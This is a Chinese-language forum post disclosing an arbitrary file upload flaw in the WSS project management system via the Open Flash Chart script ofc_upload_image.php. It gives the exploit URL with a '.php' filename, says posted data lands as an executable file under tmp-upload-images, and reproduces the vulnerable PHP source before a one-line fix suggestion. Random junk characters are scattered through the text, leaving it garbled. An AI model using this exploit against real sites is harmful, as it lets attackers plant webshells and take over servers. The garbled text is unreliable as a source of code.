WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
. X+ d* I( t- w$ R
" o1 F1 S! Q+ m: R利用：
3 j4 A- N9 w+ m6 f/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
0 v: c8 Q* H& w5 T) i/ u
; t3 i* A+ V0 j$ Q3 gPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
/ ?/ n% [- s% x
) _+ E0 {+ a  \' c7 s7 U3 V
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
( \+ d# M  y" l6 w1 N' \
8 }+ J1 u. a1 Y9 x, g/ ~& t& v<?php

/ h* I/ F' F1 A( W- }//
, _* }  _& _2 i7 s8 ]// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
: w  n# u3 r, U: I//

# Y8 u) x% G, h  K0 B/*

print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );

1 P, o( e1 t/ l3 b/ I; r/ `" vprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
; r+ s1 g; x2 T& O2 e& S( \
*/
// default path for the image to be stored //
5 m& _! n" T) ^$default_path = '../tmp-upload-images/';

: N1 z. i& r% l* Mif (!file_exists($default_path)) mkdir($default_path, 0777, true);
$ h# J$ F1 g! d8 u- D; L# [
) N: `$ G) h3 i* Y" F5 v5 d// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
  E" x2 ^; x$ d
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
  \% {& z8 q# }/ i// print_r( $_SERVER );
! s6 g! a3 |; m; z% \// echo $HTTP_RAW_POST_DATA;

//
8 V1 H5 b2 U" c7 M7 _% M/ `. O' e// POST data is usually string data, but we are passing a RAW .png
5 ]* L8 b+ R8 `! `// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
3 @- O4 b) |) `/ t//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

% k5 N6 E) m. H$ K! w//
6 i/ Q! a. q! S0 c1 ]// LOOK:
  e! z; n# D: S, x, s7 @//
exit();
//
- G# }( m7 h; x# z6 f// PHP5:
7 p* ]6 A. z" C5 W  b( y6 S//
+ H- X! O% ]' z9 |/ @

  S$ v& z- l# ~5 X. {  P- F) h// default path for the image to be stored //
% C! q) {: T$ f' w, B! a4 y- f$default_path = 'tmp-upload-images/';
  q0 v$ I% C8 q; K
' K6 C4 ^; ^& k  yif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
. {( c/ y2 o6 |5 t: H4 i  K
// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
4 ?+ n3 T% g% {0 Y$ r  S    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
( B, l9 s+ q& s& q' d    echo "FILE UPLOAD FAILED";
$ w8 N& s2 g0 W}
; x. [. N9 _, ~1 z9 A8 r

# p" o1 g9 o) U  ~; ^- J: T?>
4 h; W' |6 |9 s7 P) y' N

2 w/ N  S! f- U4 e; f7 u9 h

! u, [" s# k$ ]

修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
8 \. a7 g3 m& M; a% L) Y. q
; E- |8 F2 T- Z1 I) b4 z) ?


5 v* V% C; I5 Z# h/ e  Q+ g